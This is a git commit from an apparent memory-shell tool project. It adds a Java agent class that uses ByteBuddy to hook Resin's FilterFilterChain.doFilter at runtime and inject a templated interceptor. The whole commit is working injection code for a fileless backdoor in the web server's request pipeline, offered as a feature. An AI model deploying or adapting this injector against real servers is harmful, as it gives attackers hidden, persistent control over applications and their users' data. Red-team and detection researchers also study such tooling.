feat: support resin agnet shell（#20）

hook point is com.caucho.server.dispatch.FilterFilterChain.doFilter (resolved #20)
2026-09-22 07:00:43 +08:00 · 2025-01-07 20:28:51 +08:00
parent 1dfc28cd33
commit 99c53b6287
11 changed files with 118 additions and 26 deletions
@@ -0,0 +1,63 @@
+package com.reajason.javaweb.memshell.resin.injector;
+
+import net.bytebuddy.agent.builder.AgentBuilder;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.matcher.ElementMatchers;
+import net.bytebuddy.utility.JavaModule;
+
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/28
+ */
+public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer {
+
+    static Class<?> interceptorClass = null;
+
+    static {
+        try {
+            interceptorClass = Class.forName(getClassName());
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+        }
+    }
+
+    @Override
+    public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
+                                            TypeDescription typeDescription,
+                                            ClassLoader classLoader, JavaModule module,
+                                            ProtectionDomain protectionDomain) {
+        return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        new AgentBuilder.Default()
+                .ignore(ElementMatchers.none())
+                .with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
+//                .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
+//                .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
+                .type(named("com.caucho.server.dispatch.FilterFilterChain"))
+                .transform(new ResinFilterChainAgentInjector())
+                .installOn(inst);
+        System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
+    }
+}